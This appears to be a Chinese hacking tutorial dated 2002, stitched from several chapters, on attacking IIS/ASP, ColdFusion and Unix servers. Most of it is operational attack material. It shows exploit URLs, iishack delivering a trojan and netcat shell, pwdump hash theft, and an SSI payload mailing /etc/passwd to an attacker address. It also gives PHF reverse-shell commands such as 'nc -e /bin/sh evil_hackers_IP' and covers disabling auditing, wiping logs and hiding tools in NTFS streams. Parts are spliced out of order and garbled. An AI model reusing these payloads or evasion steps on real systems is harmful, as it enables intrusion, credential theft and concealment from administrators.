k = Int(((upperbound - lowerbound) + 1) * Rnd + lowerbound)
strMyKey = strMyKey & Chr(k) & ""
next
KeyGeN = strMyKey
End Function
%>
在IIS下运行上面的KeyGeN.asp页面。你只需要如此做一次，他将把密钥写入文件c:\key.txt中 (如果你愿意的话，你也可以把这个文件放到另外一个更加安全的地方).然后你可以打开这个key.txt文件，它将包含512个ASCII码在35到96之间的字符.并且由于是随机生成的，所以每个人密钥文件key.txt将是不一样的，下面是一个例子密钥文件：
IY/;$>=3)?^-+7M32#Q]VOII.Q=OFMC`:P7_B;<R/8U)XFHC<SR_E$.DLG=I+@5%*+OP:F_=;NSY`-^S.`AA=BJ3M0.WF#T5LGK(=/<:+C2K/^7AI$;PUOME2+T8ND?W$C(J\,;631M-LD5F%%1TF_&K2A-D-54[2P,#*JU%6`0RF3CMF0(#T07UFZ=>#,+.AW_/+)DIB;2DTIA57TT&-]O/*FM>H.XH5W^0Y*=71+5*^`^PKJ(=E/X#7A:?,S>R&T;+B#<:-*\@)X9F`_`%QA3Z95.?_T#1,$2#FWW5PBH^*<))A(S0@AVD8C^Q0R^T1D?(1+,YE71X+.*+U$:3XO^Q).KG&0N0);[LJ<OZ6IN?7N4<GTL?(M4S8+3JMK5)HC%^1^+K;\$WBXPA?F&5^E\D$7%*O/U[1/?8(5:1OVWV*1Z-%`:K&V?X1,1KURD@3W0^D)<OG40?(VJ4EWL5A5M<$A);CQ36R9I]*U#Q%1<Y\&SA%#1<V
下面再仔细分析一下上面的程序，我们发现其中的lowerbound和upperbound的数值<其实就是你想使用来加密的ASCII字符范围。
下面的代码将介绍如何使用这个密钥来加密和解密一个字符串
Crypt.asp文件
<%
Dim g_Key
Const g_CryptThis = "Now is the time for all good men to come to the
aid of their country."
Const g_KeyLocation = "c:\key.txt"
g_Key = mid(ReadKeyFromFile(g_KeyLocation),1,Len(g_CryptThis))
Response.Write "<p>ORIGINAL STRING: " & g_CryptThis & "<p>"
Response.Write "<p>KEY VALUE: " & g_Key & "<p>"
Response.Write "<p>ENCRYPTED CYPHERTEXT: " & EnCrypt(g_CryptThis) &
"<p>"
Response.Write "<p>DECRYPTED CYPHERTEXT: " &
DeCrypt(EnCrypt(g_CryptThis)) & "<p>"
Function EnCrypt(strCryptThis)
Dim strChar, iKeyChar, iStringChar, i
for i = 1 to Len(strCryptThis)
iKeyChar = Asc(mid(g_Key,i,1))
iStringChar = Asc(mid(strCryptThis,i,1))
*** uncomment below to encrypt with addition,
iCryptChar = iStringChar + iKeyChar
iCryptChar = iKeyChar Xor iStringChar
strEncrypted = strEncrypted & Chr(iCryptChar)
next
EnCrypt = strEncrypted
End Function
Function DeCrypt(strEncrypted)
Dim strChar, iKeyChar, iStringChar, i
for i = 1 to Len(strEncrypted)
iKeyChar = (Asc(mid(g_Key,i,1)))
iStringChar = Asc(mid(strEncrypted,i,1))
*** uncomment below to decrypt with subtraction
iDeCryptChar = iStringChar - iKeyChar
iDeCryptChar = iKeyChar Xor iStringChar
strDecrypted = strDecrypted & Chr(iDeCryptChar)
next
DeCrypt = strDecrypted
End Function
Function ReadKeyFromFile(strFileName)
Dim keyFile, fso, f
set fso = Server.CreateObject("Scripting.FileSystemObject")
set f = fso.GetFile(strFileName)
set ts = f.OpenAsTextStream(1, -2)
Do While not ts.AtEndOfStream
keyFile = keyFile & ts.ReadLine
Loop
ReadKeyFromFile = ke le
End Function
%>
在Crypt.asp中我们首先从密钥文件中得到密钥值，然后从这段密钥中截取和我们需要加密的明文同样长度的密钥。然后使用一个简单的异或操作将明文和密钥进行运算，那么得到的结果就是加密后的密文了。过程很简单的。由于是使用了异或操作，所以解密将非常简单，只要使用同样的密钥对密文再次进行异或操作就能够解密了。
在上面介绍的基础上，你可以少加改动，就可以使用同样的方法加密一个文件。唯一需要注意的是，对于一个二进制文件，你需要做一些完整性检查以保证转换回来的字符不要越界。
现在你需要做的就是把密钥保存在服务器上的一个安全的地方（不能够被外部访问）
15 SQL SERVER的安全性
目前用ASP编写的WEB应用中，后台数据库大部分SQL　SERVER。SQL　SERVER相对来说比较安全。但是也要小心地配置SQL　Server.
1 安装远程数据库管理有风险
SQL Server支持从远程进行数据库的维护。在安装时你可以选择不安装，安装完成以后，你还可以通过"SQL Server Network Utility"来删除远程管理。如果你要使用远程管理，请使用TCP/IP，并将缺省的端口1433改变为其他的数值。使用远程对你可能比较方便，便是请注意一个hacker只要知道你的SQL server密码，就可以进入你的数据库。
2 改变sa的密码。
缺省安装时，SQL　SERVER的sa账号的密码为空，建议你在Enterprise SERVER中，改变sa的密码。
3 数据库登录账号不要写入ASP页面中。
16 使用最新的扫描器扫描ASP漏洞
目前可以扫描IIS漏洞的扫描器有很多，比较有名的有ISS，CIS和gnit等。下面我们以GNIT为例子。
GNIT是个功能很强的漏洞扫描器，能扫描NT的用户名和相关信息列表，扫描IIS的漏洞。在WINNT的DOS模式下打下:
gnit <对方IP＞
比如：gnit 172.1.1.1
GNIT开始扫描端口，从上图可知目标主机提供了HTTP，FTP，SMTP等服务，扫描完后。会在GNIT目录下生成一个HTML文件，其文件名是目标主机的IP。打开这个HTML文件，会看到对方主机的一些信息和漏洞。这些信息和漏洞包括:用户名和组的相关详细信息，开放的服务和WEB扫描的漏洞等。我们比较关心的是WEB扫描的漏洞信息：
下图是GNIT的WEB扫描一些信息，其中加粗部分是漏洞，当然有些漏洞并不准确，但不妨试试。（有必要说明下，以下我是在一台NT4。01，IIS4。0，Option PACK6.0,并且缺省安装）要测试这些漏洞很简单。比如：可在URL输入：
    http://someurl/iisadmpwd/aexp3.htr
----可远程管理IIS。
    http://someurl/scripts/iisadmin/bdir.htr
----目标主机的硬盘全部目录都一览无余，并且有创建新目录的功能（不过我在测试中，并不能创建远程目录，但是能使目标主机的WEB当机）
    http://someurl/scripts/tools/getdrvrs.exe
---可在远程主机上创建ODBC数据库，不管数据库路径和数据库是否存在。
此外还有其它的漏洞，请网友自己测 Ｆ浣饩龇椒ㄇ肟瓷厦娴穆┒捶治觥?br> 如果用CIS扫描器，还有比较详细的漏洞分析和解决方法。请读者自己分析。
七、总结
目前WEB数据库访问的多种技术中，比如CGI（通用网关接口）、JDBC、PHP、ASP，ASP以其开发周期短，存取方式数据库简单，运行速度快而成为众多网站程序员的首选开发技术。
但是其网络安全性也是不容忽视的。做为一个ASP开发者，你必须关注NT和IIS的安全漏洞，从上面的讨论我们可以看到ASP的很多漏洞都是由IIS所引起的。同时ASP程序员在开发自己的网站时，要注意来自ASP程序设计不当所引发的安全问题。
八：声明：其中某些例子是从其它网站上整理的，因时间紧迫，未来得及通知作者，请见谅。
最后我们讨论一下Cold Fusion脆弱点：同样是L0pht发布了Allaire的产品Cold Fusion Application Server中存在多个严重的脆弱点。该产品安装时会拷贝例子代码和在线文档到系统中。问题出在其中的多个例子代码文档，因为他们没有把自己的交互活动仅仅局限于本地主机。
第一个脆弱点存在于openfile.cfm文件中，它允许攻击者往目标WEB服务器上传任意文件。为发掘这个脆弱点，把浏览器指向以下URL后，遵照所显示网页上给出的具体步骤行动：
http://www.company.com/cfdocs/expeval/openfile.cfm
第二个脆弱点存在于displayopenfile.cfm文件中，他允许攻击者接着保存所上传的文件。第三个脆弱点存在于exprcalc.cfm文件中，他允许攻击者查看并删除目标系统上的任意文件。举例来说，使用以下URL可以删除setup.log文件：
http://www.company.com/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:\winnt\repair\setup.log
28、 缓冲区溢出：Microsoft IIS4.0脆弱点是1999年6月公开的，29、 它对于Microsoft的WEB服30、 务器软件可以说是致命的。这个脆弱点由eEye安全小组发现，31、 他的漏洞发掘代码和可执行文件也由该小组公布在网上。该脆弱点是对URL中的.HTR、.STM和.IDC、.IDQ等名32、 字缺乏边界检查上，33、 从而34、 允许攻击者插入一些邪恶的代码，35、 以此作为Administrator用户在Microsoft系统的WEB服36、 务器上远程地下载并执行任意的命令。
称为iishack的相应漏洞发掘程序可从很多站点找到。该程序通过与URL一道发送待执行的特洛伊木马程序的文件名工作：
C:\nt\iishack>iishack 10.12.24.2 80 172.29.11.101 /getem.exe
--------(IIS 4.0 remote buffer overflow exploit)---------------
(c) dark spyrit -barns@eeye.com.
http://www.eEye.com
[usage:iishack<host><post><url>]
eg-iishack www.example.com 80 www.myserver.com /thetrojan.exe
do not include ‘http://’ before hosts!
---------------------------------------------
Data sent!
其中称为getem.ex的特洛伊木马程序是我们编写的，它解包出pwdump.exe（NT上SAM的转储程序）后，运行一个做了手脚的netcat版本，让他在25号端口上监听并返回一个提供命令提示的shell。一旦使用iishack成功的远程运行getem.exe，我们就可以在本地运行一个netcat命令以得到所返送回的命令提示符，从而作为SYSTEM帐号，取得目标服务器的访问权。
C:\nt\iishack>nc -nvv 10.12.14.2 25
成功后就：
C:\>nc -nvv 10.11.1.1 26
(UNKNOWN)[10.11.1.1]26(?)open
Microsoft(R) Windows NT(TM)
(C)Copyright 1985-1996 Microsoft Corp.
C:\WINNT\>pwdump
将会得到一串密码散列值，再将这些散列值拷贝和粘贴，再借助LC3工具破解，可能很轻松的得到用户名和密码。
37、 WEB设计缺陷：
? 误用隐藏标? 记：有的购物网站经常在HTML标? 记中隐藏的标? 记各种物品的价格，? 然而? 一旦攻击者发现这个漏洞，? 他就可以成倍? 的降低它。举例来说，? 假如某个网站在他们的购物网页中有如下HTML代码：
<FORM ACTION=http://www.company.com/cgi-bin/order.pl method=”post”>
<input type=hidden name=”price” value=”199.99”>
<input type=hidden name=”prd_id” value=”X190”>
数量：<input type=text name=”quant” size=3 maxlength=3 value=1>
</FORM>
相信大家都知道可以利用文本编辑器打开这个文档，同时我们也就可以在本地修改文档成：
<input type=hidden name=”price” value=”1.99”>
这样，我们就可以在本地打开这个网页，然后填表，提交。服务器得到的是降低了100倍的收费，而你却依然能得到同样的商品！
? 服? 务端包含（SSI）：服? 务端包含（Server Side Include，? 简称SSI）提供了一个无需编程实现实时交互功能的机制。SSI有许多称为标? 记（tag）的特性可用，? 包括echo、include、fsize、flastmod、exec、config、odbc、email、if、goto、label和break。对攻击者来说，? 最有用的只是exec和email标? 记。
通过向将由目标服务器进程作为一个HTML文档求解的栏目插入SSI代码，攻击者就能在该服务器上执行命令，从而取得该服务器的访问权。举例来说，在通过WEB创建新帐号时，把SSI代码输入到名或姓栏目中，目标WEB服务器进程可能会求解该输入并尝试运行它。下面的SSI讲把该系统的密码文件邮寄给攻击者：
<!--#exec cmd=”/bin/mail attacker@bad.org<cat /ect/passwd>”à
注意：SSI代码不能存为HTML格式，可以存为SHTML或者ASP等格式。
《正文完》
尾注：本文初步完成，由于附录太大，暂时还不能放上来。
本文历时1420分钟，字数101000字
本文写作途中得到了各位朋友支持，谢谢小榕论坛的朋友。
转载请保持文章的完整性，谢谢。
雾中鸟
2002年3月8日于中国西安
参考文献：
《Hacking Exposed：Network Security Secrets and Solutions》——Stuart McClue、Joel Scambray、George Kurtz
《Hacker Proof：The Ultimate Guide to Network Security》——Lars Klander
《黑客防线（Hacker Defence）》
《挑战黑客》——李洪、钱江 /disable
Running……
Local audit information changed successfully……
New local audit policy……
（0） Audit Disabled
AuditCategorySystem ＝No
AuditCategoryLogon ＝Failure
AuditCategoryObjectAccess ＝No
……
入侵者即将离开目标系统时，会再次使用auditpol的/enable参数重新打开审计功能，然而auditpol仍然能保持审计功能的各项设定不变，让系统管理员神不知鬼不觉的自己的信息已经完全暴露给外界了。
? 清空事件日志：如果一个攻击者在登陆主机的第一步没有做好审计事件的禁止，? 他的一切? 所作所为都被系统日志记录了。真正一个黑客进入主机时，? 首先想到的第一件事情就是自身的安全，? 所以在离开系统后，? 还要清空事件。
好像网上有较多的文章说直接删除NT/2000中的*.evt文件，这些都是日志文件，不过我不知道写这文章的朋友是否曾经实践过？当系统正在利用一个文件的时候时不能删除的。就是说那日志文件每时每刻都在被系统调用，因为系统的运行是没有停止的，他会对一些在审计范围内的事件进行写日志的操作，所以用这样的方法根本是不能实现的。
下面我介绍一下我觉得一个比较好的清除日志的文件CleanIISLog，例子如下：
C:\>CleanIISLog 192.168.202.34 password username
就可以简单做到，清除日志内容，而且不会留下何时删除日志的记录。
? 隐藏文件：对于大多数入侵者都喜欢作一个后门，希? 望长期占有主机，? 因此把一些后门程序合理隐藏起来显得很重要了，? 现在介绍两种比较常用的方法隐藏文件：（1）用attrib隐藏：这里可以用最陈旧的DOS工具attrib工具隐藏这个目录，? 语法如下：
attrib th directory
虽然这样也能隐藏文件，可以利用查看中的显示所有文件的命令还是么有任何效果，因此我们可以用到第二种方法。（2）NTFS文件分流的方法隐藏：如果目标系统是Windows NT/2000文件系统（NTFS）（当然用做WEB服务器，想必都会使用这个文件系统吧，如果还用FAT32格式还有什么安全性可言？），那么入侵者有另一个隐藏技巧可用。NTFS提供在一个文件内分化多个信息“流”的支持。Microsoft夸称NTFS的分流特性是“一种不需要重新构造文件系统就能给一个文件添加额外属性或信息的机制”。这其中还要用到一个工具cp（NT/2000的光盘中带有），我们现在假设要将netcat.exe(nc.exe)分流在从winnt\system32\os2\目录中找到的一个普通文件后面，以便在后续的针对其他远程系统攻击中用到它。选择这个“前端”文件（即oso001.009）是因为它相对模糊些，不过其他文件都可以这样用。
语法：cp file oso001.009:file
上面我们的例子就是：cp nc.exe oso001.009:nc.exe
这里注意，把nc.exe隐藏在oso001.009的“nc.exe”流中，中间要加上一个冒号，而且要隐藏的文件放在后面。要“反分流”出nc.exe，就要使用如下命令：
cp oso001.009:nc.exe nc.exe
这样oso001.009文件的修改日期有变化，不过大小没有改变，因此分流后的文件很难检测出来。
第六章：攻击UNIX类型系统
攻击UNIX 类型的的系统，是很多攻击者头疼的事情，首先现在使用WINDOWS类型的攻击者还是占大多数，因此很多人对UNIX/LINUX系列操作系统不很熟悉，根本就谈不上攻击了，即使偶尔进入一次也都是瞎碰乱撞进入的（我只是说其中一些，并没有任何看不起攻陷UNIX类型系统的高手的意思）。再加上本来这个系列的很多服务都需要管理员手动配置的，不像WINDOWS为了方便普通用户那种很多设置默认配置好了的傻瓜似操作，所以管理员一般的水平都较高，对端口信息、对一些服务器都有所了解，这就相应的给攻击UNIX类型主机的攻击者增大了难度。由于笔者自身对UNIX系列了解也不是太深，所以可能这部分内容存在很多不足和缺陷，希望各位朋友谅解并指出。
跟WINDOWS系统类似，想要占领一台UNIX类型的主机，最主要的方法就是获得root权限，因此下面将针对这个方面作一些探讨：
1、 远程访问：远程访问定义为通过网络（例如某个监听中的服2、 务）或其他通信通道获取访问权，3、 其主要实现方法一般有下面三种：
? 发掘某个监听中服? 务（建立在TCP/IP之上）的漏洞。
? 经由一个在两个或多个网络之间提供安全屏障的UNIX系统路由。
? 由用户发起的远程执行攻击（例如访问恶意的WEB网站、打开特洛伊木马电子邮件等）。
下面看一个具体的例子，以理解不同种类的攻击是如何归属上述三个类别的。
? 发掘某个监听中服? 务（建立在TCP/IP之上）的漏洞：对于很多朋友可能都会因为能成功入侵，? 但是朋友可能也未必相信，? 看看你那瘦瘦的个子，? 怎么也不? 像传说中黑客那种大侠的风范，? 不? 信！“入侵我的系统试试看！”经常作为他们嘲笑入侵者的一句话。其实再安全的系统也不? 是坚固不? 可摧的，? 因为可能有一些漏洞还没有发掘出来，? 像www.apache.org、www.microsoft.com还不? 是被黑客给入侵了？其实这是一个发掘某个监听中服? 务的例子。如果系统不? 再运行允许交互登陆的任何服? 务（telnet、ftp、rlogin或rsh），? 那你又应该怎么进入主机呢？不? 知道大家是否还记得sendmail的一个脆弱点被公布后又怎么样？
? 经由一个UNIX系统路由：这就是说攻击者绕过一个UNIX类型的防火墙。既然已不? 允许任何外来的服? 务访问，? 又如何能够做到这一点呢？许多情况下，? 攻击者使用经由防火墙到达内部系统的源路由分组绕过UNIX防火墙。这种绝技之所以可以是因为当防火墙应用程序需发挥作用时，? 其UNIX内核必须使能IP属性。在大多数这样的例子中，? 攻击者实质上几乎没有真正入侵防火墙本身，? 他们只是把它作为一个路由器而? 已。
? 由用户发起的远程执行攻击：最近很多这样的情况，? 相信朋友都听说过经历过很多了，? 当你浏览一个网站时候，? 网站上有的存在ActiveX代码，? 自动下载到本地执行，? 这样就可能出现一些恶意程序在本地执行，? 修改你系统的一些设置，? 截获一些你本地的系统信息，? 然后发送回原站点。
（1）蛮力攻击：蛮力攻击纯粹是猜测访问某个服务所需的一个用户ID/密码的组合，而该服务在给予该用户以访问权之前要求认证他。最常见的可能成为蛮力攻击对象的服务类型包括：
? Telnet
? 文件传输协议（File Transfer Protocol，? 即FTP）
? “R”命令（rlogin、rsh等）
? 安全shell（Secure Shell，? 即SSH）
? 邮政协议（Post Office Protocol，? 即POP）
? 超文本传输协议（Hyper Text Transfer Protocol，? 即HTTP/HTTPS）
我们可以通过finger、rusers和sendmail之类的服务都可用来标识某个系统上的用户帐号。攻击者一旦取得帐号后，就可以通过猜测与此帐号相连的的密码进行猜测，虽然这种方法手工猜测也是完全可能的，不过大多数时候我们用的是自动执行，下面介绍几个蛮力猜测工具：
brute_web.c http://sunshine.sunshine.ro/FUN/New/
pop.c http://sunshine.sunshine.ro/FUN/New/
middle finger http://www.njh.com/latest/9709/970916-05.html
（2）缓冲区溢出攻击：缓冲区溢出条件发生在某个用于或进程试图往一个缓冲区（即固定长度数组）中放置比原始分配的空间还要多的数据的时候。这种行为与特定的C函数相关联，例如strcpy()、strcat()、sprintf()等等。缓冲区溢出条件通常会导致段越界异常的发生。然而这类行为可精心的利用，达到访问目标系统的目的。
假设我们有一个固定长度为128字节的缓冲区，该缓冲区定义为可存放sendmail的VRFY命令的输入的数据量（VRFY用来标识目标系统上的潜在用户，办法是尝试他们的电子邮件地址，如登陆到主机的25端口后，可以VRFY username尝试用户）。再假设sendmail是一个SUID到root的程序，从而不论谁执行都以root权限运行。这种假设可能成立，也可能不成立。如果系统连接到目标系统的sendmail守护进程后给VRFY命令发送了一块由1000个字母“a”构成的数据，而不是一个简短的用户，情况又将是什么样的呢？
Echo “vrfy ‘perl -e’print “a” x 1000 ’’ ”|nc www.targetsystem.com 25
VRFY缓冲区将溢出，因为它只设计成容纳128字节。往VRFY缓冲区中添塞1000个字节可能导致拒绝服务和sendmail守护进程的崩溃；然而精心设计成让目标系统执行攻击者选定的代码将更加危险。这恰好是成功的缓冲区溢出攻击的工作原理。
（3）输入验证攻击：发生输入验证攻击的情况包括：
? 程序没能认出语法上不? 正确的输入
? 模块接受无关的输入
? 模块没能处理遗漏的输入栏目
? 发生栏目一值相关性错误
下面使用一个比较陈旧的例子，目的是为了说明输入验证的脆弱点。PHF是随早期版本的Apache Web服务器和NCSA HTTPD标准地提供一个公共网关接口（common gateway interface，简称CGI脚本）。不幸地是，这个程序没有确切地分析并验证所受到地数据有效性。PHF脚本的最初版本接受换行符（%0a），然后就以运行WEB服务器程序的用户ID的特权执行任何后续的命令。最初的PHF漏洞发掘大体如下：
http:// www.target.com/cgi-bin/phf? Qalias=x%0a/bin/cat%20/etc/passwd
这个漏洞发掘仅仅是cat加密后的passwd文件而已，不过可以从中看出标识的用户名。当然，这些信息也可能被用来标识用户的ID，以及没有加密的密码。技巧丰富的攻击者能够获取访问该系统的直接shell。大多数情况下，这个用户的ID是“nobody”，然而有许多不幸的网站犯了以root特权运行WEB服务器程序的大错。
（4）操纵X Windows系统：X是允许多个程序共同用一个图形显示器的窗口化机制。X相当健壮，允许基于X的客户程序把输出显示到本地X服务器或某个运行在6000～6063端口上的远程X服务器。下面看一下攻击者可能如何发掘PHF的漏洞以完成不光是显示/etc/passwd文件内容的任务。回顾最初的PHF漏洞发掘如下：
http:// www.target.com/cgi-bin/phf? Qalias=x%0a/bin/cat%20/etc/passwd
既然攻击者能够在该服务器上执行远程命令，稍微对它修改一下就能得到交互的shell访问。攻击者需做的工作就是把待执行的命令从“/bin/cat/passwd”改为“/usr/X11R6/bin/xterm-ut-display evil_hackers_IP：0.0”，于是漏洞发掘如下：
http://www.target.com/cgi-bin/phf? Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20evil_hackers_ip:0.0
该远程WEB服务器将执行一个xterm，并把它显示回恶意黑客（evil_hacker）自己的X服务器，其窗口ID和屏幕ID都为0。既然能使-ut选项，因此整个活动不会被系统纪录下来。此外20％是空格的等效值，用于分割命令行的各栏。这么一来，攻击者不必登录到该WEB服务器的任何服务器都能取得交互的shell访问。
（5）反向telnet和反向通道：如果目标系统的防火墙把除了80和443号以外的端口都堵塞了。因此攻击者必须通过创建反向通道来发起从脆弱的UNIX服务器到攻击者自己的系统的会话。
可以用来完成这个任务的方法有多个。第一个方法是反向telnet，也就是使用telnet创建一个从目标系统到攻击者系统自己的系统的一个反向通道。这种技巧成为反向telnet的原因在于其中的telnet连接是从攻击者试图获取其访问权的系统发起，而不是从攻击者自己的系统发起。大多数UNIX服务器都安装了telnet客户程序，其使用也很少受限制，因此telnet是反向通道客户程序的完美选择。为了执行反向telnet，我们需要谋取万能的netcat即nc工具的支持。既然是从目标系统telnet，我们就得在自己的系统上使用nc监听器，由它接受反向的telnet连接。我们必须在两个分开的窗口中分别执行以下命令之一，以便成功的接收反向的telnet连接：
nc -l -n -v -p 80
nc -l -n -v -p 25
这时候要确保自己系统上的诸如HTTPD或sendmail之类的服务没有绑定在80或25端口上。如果这两个端口上已有某个服务在监听，那就先用kill命令把它杀掉，以便nc能够捆绑到这两个端口。这两个nc命令由-l和-p开关指定成分别在25和80号端口监听，工作在详尽模式-v，不进行从IP地址到主机名的反向解析-n。
与我们的例子保持一致，为了引发反向的telnet，我们必须在目标系统上通过发掘PHF的漏洞来执行如下真正的命令序列：
/bin/telnet evil_hackers_ip 80|/bin/sh|/bin/telnet evil_hacker_IP 25
下面是与该命令序列对应的PHF漏洞发掘：
http://www.target.com/cgi-bin/phf? Qalias=x%0a/bin/telnet%20evil_hackers_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20evil_hackers_IP%2025
让我们解释一下这个看似复杂的一串指令在干什么。“/bin/telnet evil_hackers_IP 80”连接到我们在80端口的nc监听器上。这是我们真正输入命令的地方。为与传统的UNIX输入/输出机制保持一致，我们的标准输出即键击结果通过管道输给了/bin/sh即Born shell。由/bin/sh执行我们输入的命令而得到的结果再通过管道输给“/bin/telnet evil_hackers_IP 25”。最终的结果在两个分开的窗口发生一个反向telnet。选择80和25号端口是因为他们是常用的服务，大多数防火墙放行他们的外出访问。当然，只要防火墙允许外出访问，任何其他端口都可选用。
创建反向通道的另一个方法是使用nc，而不是telnet，条件是服务器上已存在nc的二进制文件，或者能够通过某种机制（例如匿名FTP）存放到服务器上。我们在下面的例子中假设目标服务器上存在某个版本的nc，而且使能了刚才提及的选项；
与早先给出的反向telnet方法类似，使用nc创建反相同道也是一个两步过程。我们必须执行以下命令来成功地接收nc的反向通道：
nc -l -n -v -p 80
使能了nc监听服务器之后，我们就得在目标系统上执行一下命令：
nc -e /bin/sh evil_hackers_IP 80
下面是与该命令对应的PHF漏洞发掘：
http://www.target.com/cgi-bin/phf? Qalias=x%0a/bin/nc%20-e%20/bin/sh%20evil_hackers_IP%2080
（6）常用类型的远程攻击：
? TFTP：TFTP是简化文件传输协议（Trivial File Transfer Protocol）的简称，? 它通常用于自举无盘工作站或诸如路由器等网络设备? 。TFTP是基于UDP的协议，? 它在69端口监听，? 不? 怎么提供安全性。攻击者通常会定位一个存在TFTP服? 务的系统，? 尝试TFTP回一个/etc/passwd文件的拷贝到自己的系统中。如果其TFTP服? 务器程序配置不? 正确，? 目标? 系统将欣然给出密码文件。攻击者一旦拥有了一串用户名? 就可供蛮力破解了。
许多较新版本的TFTP缺省配置成禁止访问除/tftproot外的任何目录。这是一个很不错的一步，但是攻击者同样可以取得/tftproot目录中的任意文件。这里包括敏感的路由器配置文件，办法是猜测路由器配置文件名，它通常就是跟以.cfg后缀的路由器主机名。
? FTP：FTP即文件传输协议（File Transfer Protocal）是当前最常用的协议之一。它允许往远程系统上或从远程系统下载文件。许多FTP服? 务器允许匿名? 访问，? 使的任何用户无需认证就能够登陆到这些FTP服? 务器中。一般情况下，? 匿名? FTP能够访问的文件系统仅局限在整个目录树的特定分枝，? 然而? 偶然情况下匿名? FTP服? 务器会允许用户穿越整个目录结构。这么一来攻击者就可以取走/etc/passwd之类敏感的配置文件，? 或者把上面提到的PHP木马放在cgi-bin目录中……
? SENDMAIL：sendmail是大多数UNIX系统上使用的邮件传送代理（mail transfer agent，? 简称MTA）。Sendmail的vrfy和expn命令可用来标? 识用户帐号。用户查点已经危险，? 不? 过尚未暴露运行sendmail时可能面临的真正危险。Sendmail 4.1中的sendmail存在一个管道脆弱点。该脆弱点允许攻击者通过管道向sendmail直接供给待执行的命令。其原因在于sendmail会以bin特权执行所提供数据之后的任何命令。下面是为发掘该脆弱点而? 交互输入的sendmail命令：
Helo
Mai from:|
Rcpt to:bounce
Data
.
mail from:bin
rcpt to:|sed ‘1,/^$/d’ |sh
data
? 远程过程调用服? 务：远程过程调用（Remote Procedure Call，? 简称RPC）是一种允许在一台计算机上运行的某个程序无缝地在另一个远程系统上执行代码地机制。要联系某个RPC服? 务的话，? 必须首先向端口映射器用rpcinfo命令查询所需RPC服? 务的列单，? 如果端口映射服? 务受到防火墙的保护，? 那就是使用rpcinfo命令中-n的选项。不? 幸的是，? 许多主流版本的UNIX系统在自举阶段就能不? 少RPC服? 务。许多RPC服? 务极为复? 杂且以root权限运行，? 这就使得事情更加糟糕，? 因此就可以成功缓冲区溢出或输入验证攻击将导致直接访问root权限。
4、 本地访问：至此我们已经讨论了常见的远程访问技巧。我们早先提到了，5、 大多数攻击者是努力发掘远程脆弱点是为了获得本地访问权。到攻击者取得一个交互命令shell之时，6、 他们就被认为是在目标7、 系统本地了。因此可以通过一些特定的方法获得root权限！
? 密码构造脆弱点：破解密码通常被称为自动执行的字典攻击。与被认为是积极攻击的蛮力猜测不同，? 密码破解可以离线进行，? 因而? 在性质上是消极的。他是常见的系统攻击，? 因为攻击者必须获得/etc/passwd文件或密码文件的访问权。UNIX的密码一般使用散列算法进行文件加密，而? 破解这个密码文件有两个比较好的程序：Alec Muffett编写的Crack 5.0a和出自Solar Designer的John the Ripper。
? 本地缓冲区溢出：本地缓冲区溢出是极为流行的攻击手段。正如上面所说，? 缓冲区溢出脆弱点允许攻击者在目标? 系统上执行任意的代码和命令。大多数情况下缓冲区溢出条件用于发掘SUID到root可执行文件中的漏洞，? 从而? 允许攻击者以root特权执行命令。
该漏洞发掘代码，然后跳转到内存中的某个确定地址，从而以root权限开始执行/bin/sh。这下导致确定无疑的“#”提示符，表面我们已经取得了root权限。
? 符号链接：大多数系统到处散置着存放垃圾文件、草稿空间和临时文件等内容的电子庇护所。所幸的是在UNIX系统中，? 临时文件创建在成为/tmp的单个目录中。/tmp尽管是写入临时文件的方便场所，? 却也隐藏着危险。许多SUID到root的程序编写成在/tmp或其他目录中创建工作文件，而? 不? 做即使是最小的稳健性检查。主要的安全问题起源于盲目的沿循符号连接引用其他文件的程序。符号连接是使用“ln -s”命令创建的特殊文件。这就是说，? 符号连接是指? 代另一个文件的文件。下面的命令创建符号连接/tmp/foo，? 它指? 向/etc/passwd：
[japleak@tmp]$ln -s /tmp/foo /etc/passwd
现在对/tmp/foo执行cat命令，输出的就是密码文件的内容。这个看似无害的文件却能够潜在的危及root。
? 文件描述字攻击：文件描述字是系统用于攻击跟踪文件的非负整数，? 这样就无需使用文件名? 了。按照规定，? 文件描述字0、1和2有隐含的用途，? 分别对应标? 准输入、标? 准输出和标? 准错误输出。当内核打开一个已存在的文件或创建一个新文件时，? 它给调用程序返回一个确定的文件描述字，? 可用来读写该文件。如果某个文件描述字是由一个特定进程按读写模式打开的，? 那么攻击者有可能在该文件修改期间对它进行写入。这么一来，? 攻击者有可能改写某个关键的系统文件而? 获得root权限。
很奇怪的是，一贯被认为比较安全OpenBSD在2.3版本中却易受到这种文件描述的攻击。当修改密码文件的中部分信息的chpass命令没有正确分配文件描述字。所以执行chpass时，它会创建一个允许普通用户使用自选的编辑器修改它的临时文件（该编辑器用chpass启动）。当用户关闭自己的编辑时，所做的改动就归并到密码数据库中。如果攻击者能够从该编辑器中启动一个shell，那就派生出一个能读/写访问其父进程文件描述字的子进程。攻击者通过增设一个没有密码的UID为0的帐号来达到修改chpass所用临时文件（/tmp/ptmp）的目的。当他们关闭由chpass打开的编辑器时，这个新帐号将归并到/etc/master.passwd中，于是取得了root权限。
8、 获得root之后：当一个攻击者成功获得root权限后，9、 他们接下来就会使用一些后门程序、嗅探程序等捕获login、telnet、ftp、smtp和snmp密码信息等。一般获得root权限后，10、 就需要进行以下的一些过程：（1）特洛伊木马，11、 例如修改过的login、netstat和ps程序；（2）后门，12、 例如inetd配置表项的插入；（3）接口嗅探程序；（4）系统登记结果清除程序。
? 特洛伊木马：攻击者获取root权限后，? 他们就能对目标? 系统上任意命令进行“特洛伊木马化”。举例来说把，? 许多root工具箱中共同? 的一个木马是篡改了的login版本。该程序会像正常的login命令那样让用户登陆；然而? 它还登记输入的用户名? 和密码到一个文件中。另有一个篡改过的ssh版本也执行同? 样的功能。
? 嗅探程序：嗅探程序起源于对调试网络连通问题的工具的需求。它们实质是捕获、解释并存贮流经某个网络的分组供以后分析用。下面是跟踪的一个例子。可看出有一个名? 为“guest”的用户以密码“guest”登陆。登陆完毕后，? 执行的所有命令也列了出来：
-----------------------------[SYN]（slot1）
pc6=>target3[23]
%&&#’$ANSI”!guest
guest
ls
cd/
ls
cd /etc
cat /etc/passwd
more hosts.equiv
more /root/.bash_history
? 清空系统安全日志：攻击者通常都不? 愿管理员看见自己在主机上留下的系统日志，? 因此擦除系统日志的工作就显得特别重要。其中推荐比较好的程序有：zap.c、wzap.c、marry.c和remove.c等。
